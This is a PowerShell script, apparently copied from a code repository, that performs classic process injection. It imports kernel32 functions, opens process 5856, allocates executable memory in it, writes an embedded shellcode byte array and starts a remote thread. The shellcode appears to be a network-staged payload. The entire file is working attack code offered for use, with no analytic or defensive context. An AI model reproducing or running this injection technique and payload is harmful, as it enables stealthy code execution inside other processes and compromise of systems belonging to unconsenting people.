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Copy pathProcess_Injection_5121.ps1
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Process_Injection_5121.ps1
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$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int
processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint
dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint
dwCreationFlags, IntPtr lpThreadId);
}
"@
Add-Type $Kernel32
#[User32]::MessageBox(0, "This is an alert", "MyBox", 0)
$hProcess =[Kernel32]::OpenProcess(0x001F0FFF, 0, 5856);
[IntPtr]$addr = [Kernel32]::VirtualAllocEx($hProcess, [IntPtr]::Zero, 0x1000, 0x3000, 0x40);
[byte[]] $buf =
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0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
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0x00,0x00,0xff,0xd5,0xe8,0xbd,0x00,0x00,0x00,0x2f,0x30,0x6d,0x38,0x36,0x43,
0x71,0x41,0x2d,0x70,0x69,0x56,0x66,0x6c,0x31,0x36,0x56,0x50,0x56,0x39,0x62,
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0x33,0x50,0x46,0x30,0x68,0x33,0x34,0x65,0x41,0x49,0x30,0x66,0x67,0x64,0x41,
0x69,0x50,0x41,0x79,0x34,0x58,0x32,0x41,0x65,0x42,0x37,0x32,0x35,0x5f,0x53,
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0x76,0x69,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,
0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,
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0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,
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0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,
0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,
0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,
0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,
0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,
0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,
0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0xbb,0xe0,0x1d,
0x2a,0x0a,0x41,0x89,0xda,0xff,0xd5 ;
$outSize = [IntPtr]::Zero;
[Kernel32]::WriteProcessMemory($hProcess, $addr, $buf, $buf.Length, [ref]$outSize);
$hThread = [Kernel32]::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [IntPtr]::Zero);